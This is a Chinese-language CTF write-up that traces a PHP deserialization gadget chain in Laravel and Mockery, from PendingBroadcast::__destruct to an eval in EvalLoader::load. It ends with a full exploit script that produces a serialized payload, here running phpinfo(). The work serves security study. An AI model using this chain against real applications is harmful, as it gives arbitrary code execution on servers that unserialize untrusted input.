Laravel mockery组件反序列化POP链分析
2019-08-01 23:18:27

文章首发于先知社区:https://xz.aliyun.com/t/5866 昨天p牛在小密圈发布了Code-Breaking 2018 lumenserial题目的官方反序列化payload,在这里简单分析一下。 首先入口点利用的依然是类Illuminate\Broadcasting\PendingBroadcast__destruct方法。 image.png 接着调用的是类Illuminate\Bus\Dispatcherdispatch方法 image.png 这里需要进入$this->dispatchToQueue,因此需要满足if条件,第一个条件就不用说了,跟进$this->commandShouldBeQueued image.png 需要$command也就是$this->event实现了ShouldQueue_接口。_ 我们可以通过全局搜索来找,具体使用哪个类可能还需要根据后面的利用条件来选择,p牛这里用的是Illuminate\Broadcasting\BroadcastEvent image.png 继续跟进$this->dispatchToQueue($command),可以看到这里有一个任意方法调用。方法可控,参数$connection等于$command->connection image.png 这里p牛利用的是类Mockery\Loader\EvalLoaderload方法 image.png 可以看到下面的eval可以利用,但我们需要先绕过if条件,也就是让class_exists($definition->getClassName(), false)返回false。这里的$definition也就是$this->event->connection的类型必须是Mockery\Generator\MockDefinition类的对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
namespace Mockery\Generator;

class MockDefinition
{
protected $config;
protected $code;

public function __construct(MockConfiguration $config, $code)
{
if (!$config->getName()) {
throw new \InvalidArgumentException("MockConfiguration must contain a name");
}
$this->config = $config;
$this->code = $code;
}

public function getConfig()
{
return $this->config;
}

public function getClassName()
{
return $this->config->getName();
}

public function getCode()
{
return $this->code;
}
}

这里的getClassName方法返回的是$this->config->getName(),我们只需要找到一个含有getName方法且返回值可控的类,让其返回一个不存在的类名即可。 类Mockery\Generator\MockConfiguration image.png 最后进入eval("?>" . $definition->getCode());,getCode的返回值我们依然可控。 image.png 最终实现任意代码执行。 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast
{
protected $event;
protected $events;

public function __construct($events,$event)
{
$this->events = $events;
$this->event = $event;
}
}
}

namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver;

public function __construct($queueResolver)
{
$this->queueResolver = $queueResolver;
}
}
}

namespace Illuminate\Broadcasting{
class BroadcastEvent
{
public $connection;

public function __construct($connection)
{
$this->connection = $connection;
}
}
}


namespace Mockery\Generator{
class MockDefinition
{
protected $config;
protected $code = '<?php phpinfo();?>';

public function __construct($config)
{
$this->config = $config;
}
}
}

namespace Mockery\Generator{
class MockConfiguration
{
protected $name = '1234';
}
}

namespace Mockery\Loader{
class EvalLoader
{
public function load(MockDefinition $definition)
{

}
}
}

namespace{
$Mockery = new Mockery\Loader\EvalLoader();
$queueResolver = array($Mockery, "load");
$MockConfiguration = new Mockery\Generator\MockConfiguration();
$MockDefinition = new Mockery\Generator\MockDefinition($MockConfiguration);
$BroadcastEvent = new Illuminate\Broadcasting\BroadcastEvent($MockDefinition);
$Dispatcher = new Illuminate\Bus\Dispatcher($queueResolver);
$PendingBroadcast = new Illuminate\Broadcasting\PendingBroadcast($Dispatcher,$BroadcastEvent);
echo urlencode(serialize($PendingBroadcast));
}
?>

ps: phpstorm真香